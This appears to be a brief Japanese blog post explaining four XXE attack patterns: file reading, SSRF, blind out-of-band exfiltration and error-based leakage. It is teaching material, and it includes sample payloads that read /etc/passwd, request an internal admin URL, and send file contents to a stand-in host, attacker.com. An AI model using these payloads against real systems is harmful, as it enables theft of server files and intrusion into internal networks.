Hello there, ('ω')ノ
🧨 XXE攻撃の代表的なパターン
XXE脆弱性を利用した攻撃には、主に以下の4つのパターンがあります。
① ファイル読み取り型 XXE(ファイルインクルージョン)
目的:サーバー内部のファイルを読み取る
- 攻撃者は外部エンティティを使用して、
/etc/passwd
や.env
などのファイルを読み込みます。 - 読み取った内容は、XMLのレスポンス内に含まれてクライアントに返されます。
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root>
② SSRF型 XXE(Server-Side Request Forgery)
目的:サーバーを通して内部システムにアクセスさせる
- エンティティに内部URLを指定することで、アプリケーションサーバーに他のサーバーやポートへリクエストを送信させることができます。
- 内部APIやメタデータサーバー(例:AWSの169.254.169.254)にアクセス可能。
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://localhost:8080/admin"> ]> <root>&xxe;</root>
③ Blind XXE(外部送信によるデータ漏洩)
目的:アプリケーションの応答が見えなくても、情報を外部に漏らす
- XXEの結果が直接レスポンスに含まれない「ブラインド」なケース。
- 代わりに、攻撃者が管理する外部サーバーへデータを送信させる(Out-of-Band Exfiltration)。
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> <!ENTITY send SYSTEM "http://attacker.com/?data=&xxe;"> ]> <root>&send;</root>
④ Blind XXE(エラーメッセージ型)
目的:XMLパーサーのエラーから機密情報を取得
- XXEで意図的にパースエラーを引き起こし、スタックトレースやエラーメッセージ内に機密情報を漏洩させる方法。
- 例として、ファイルが見つからない場合のエラーログにファイルパスが表示される等。
✅ まとめ:攻撃タイプ別の目的
攻撃タイプ | 目的 | 可視性 |
---|---|---|
ファイル読み取り | 内部ファイルの内容取得 | 表示される |
SSRF | 内部システムにリクエスト送信 | 表示される or ブラインド |
Blind XXE(外部送信) | データを外部サーバーに送信 | ブラインド |
Blind XXE(エラー誘発) | エラーから機密情報を推測 | ブラインド(エラーメッセージあり) |
💡 XXEは「XMLをどう処理するか」という初歩的な設定ミスから始まり、情報漏洩、ネットワーク内偵察、サーバー乗っ取りまで発展する深刻な脆弱性です。
Best regards, (^^ゞ